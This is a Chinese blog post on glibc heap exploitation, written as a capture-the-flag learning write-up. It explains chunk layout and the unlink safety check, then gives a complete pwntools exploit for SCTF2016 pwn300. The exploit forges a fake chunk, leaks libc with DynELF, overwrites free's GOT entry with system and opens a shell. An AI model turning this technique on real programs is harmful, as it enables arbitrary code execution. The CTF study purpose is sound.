堆溢出学习之doublefree

来源:互联网 发布:美萍进销存软件客服 编辑:程序博客网 时间:2024/06/06 00:55

最近一段时间重新整理了一下doublefree的资料,在原来的unlink的基础上更进了一步,算是把doublefree完全弄懂了


0x01 chunk结构


首先是chunk的结构

struct malloc_chunk{  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */  struct malloc_chunk* fd;         /* double links -- used only if free. */  struct malloc_chunk* bk;  /* Only used for large blocks: pointer to next larger size.  */  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */  struct malloc_chunk* bk_nextsize;};

在chunk被分配的时候prev_size只有在前一个chunk的状态是free的时候才会被使用,用来说明前一个chunk的大小,size是指当前chunk的大小,如果前一块还在被使用,这4个字节会被前一块chunk共享,也就是说前一块chunk多了4字节。同时也是通过这两个size来识别该chunk是出于use状态还是状态,当时该chunk是出于use状态时需要在原来size的基础上加一。
比如
一个128(0x80)大小的块,它的前一块chunk是已分配
—————————–
0x00000080 | 0x1 = 0x00000081
一个128(0x80)大小的块,它的前一块chunk是未分配
—————————–
0x00000080 | 0x0 = 0x00000080
而后面的四个指针,很明显是用来组成一个双链表
由此可以知,通过将自身chunk的地址+size就能得到下一个chunk的地址,然后检查它的头部最低位就能得到自己的状态


#define unlink(P, BK, FD) {                                              FD = P->fd;                                                            BK = P->bk;                                                            FD->bk = BK;                                                           BK->fd = FD;                                                         }

这是很久之前的unlink代码,当free一个chunk的时候,系统同时会检查该chunk的前一个和后一个chunk是不是free状态的,如果是就会将两个chunk合并成一个更大的free状态的chunk,然后这个更大的chunk会被unlink,并加入到unsorted_bin当中
如今该unlink的代码已经不再使用,在unlink的同时加上了一个判断

void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD){    FD = P->fd;    BK = P->bk;    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))        malloc_printerr(check_action,"corrupted double-linked list",P);    else {        FD->bk = BK;        BK->fd = FD;    }}

关键代码FD->bk != P || BK->fd != P
在脱链表时会检查当前chunk是否真的在链表内,如果它前驱的后继不是自己或者后继的前驱不是自己,就直接抛错误。
于是
我们就想到了伪造一个chunk,使FD->bk和BK->fd=P,这可以通过unlink检查
如果将unlink代码写的更加直白一点就是

FD = *P + 8;BK = *P + 12;FD + 12 = BK;BK + 8 = FD;

于是我们可以构造

fd = *p - 8bk = *p - 12 

0x03 实例


去做了0xmuhe师傅博客上的题目还有sctf2016的pwn300,都是doublefree的题目,两道题没有啥区别,本质上就是伪造一个chunk

payload = prev_size + size + *p - 8 + *p -12 + data + prev_size + size

在成功unlink以后将*p的指针指向free_got,在将其覆盖为system的地址就可以getshell了

附上sctf2016 pwn300的exp

#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *#context(log_level="debug")free_got = 0x08049d18 chunk_addr = 0x08049D80p = process("./pwn300")def launch_gdb():    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']    gdb.attach(proc.pidof(p)[0])def add_chunk(index):    p.sendline('1')    p.recvuntil('How many flowers you want :')    p.sendline(str(index))def set_chunk(index,data):    p.sendline('3')    p.recvuntil("Input the order's num:")    p.sendline(str(index))    p.recvuntil('Order content:')    p.sendline(data)def print_chunk(index):    p.sendline('2')    p.recvuntil("Input the order's num:")    p.sendline(str(index))    return p.recvline()def delete_chunk(index):    p.sendline('4')    p.recvuntil("Input the order's num:")    p.sendline(str(index))  def leak(addr):    data = 'a'*12 + p32(chunk_addr-12) + p32(addr)    set_chunk(0,data)     data = print_chunk(1)[0:4]    print ("leaking "+hex(addr)+" --> " + data.encode('hex'))    return dataadd_chunk(128)add_chunk(128)add_chunk(128)add_chunk(128)set_chunk(3,'/bin/sh')launch_gdb()payload = ''payload += p32(0)+p32(0x89) + p32(chunk_addr-0xc) +p32(chunk_addr-0x8)+'a'*(0x80-4*4) + p32(0x80) +p32(0x88)set_chunk(0,payload)    delete_chunk(1)pwn_elf = ELF("./pwn300")d = DynELF(leak,elf=pwn_elf)system_addr = d.lookup('system','libc')print hex(system_addr)set_chunk(0,'a'*12+p32(chunk_addr-0xc)+p32(free_got))set_chunk(1,p32(system_addr))delete_chunk(3)p.interactive() 

这两道题和exp已经放在我的github上了


0x04 后记

在学习的过程中参考了相当多的资料,堆溢出学习的路还很远,慢慢来吧

参考资料:
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/
https://etenal.me/archives/1121
http://www.cnblogs.com/0xmuhe/p/5190132.html
http://wooyun.jozxing.cc/static/drops/tips-16610.html

1 0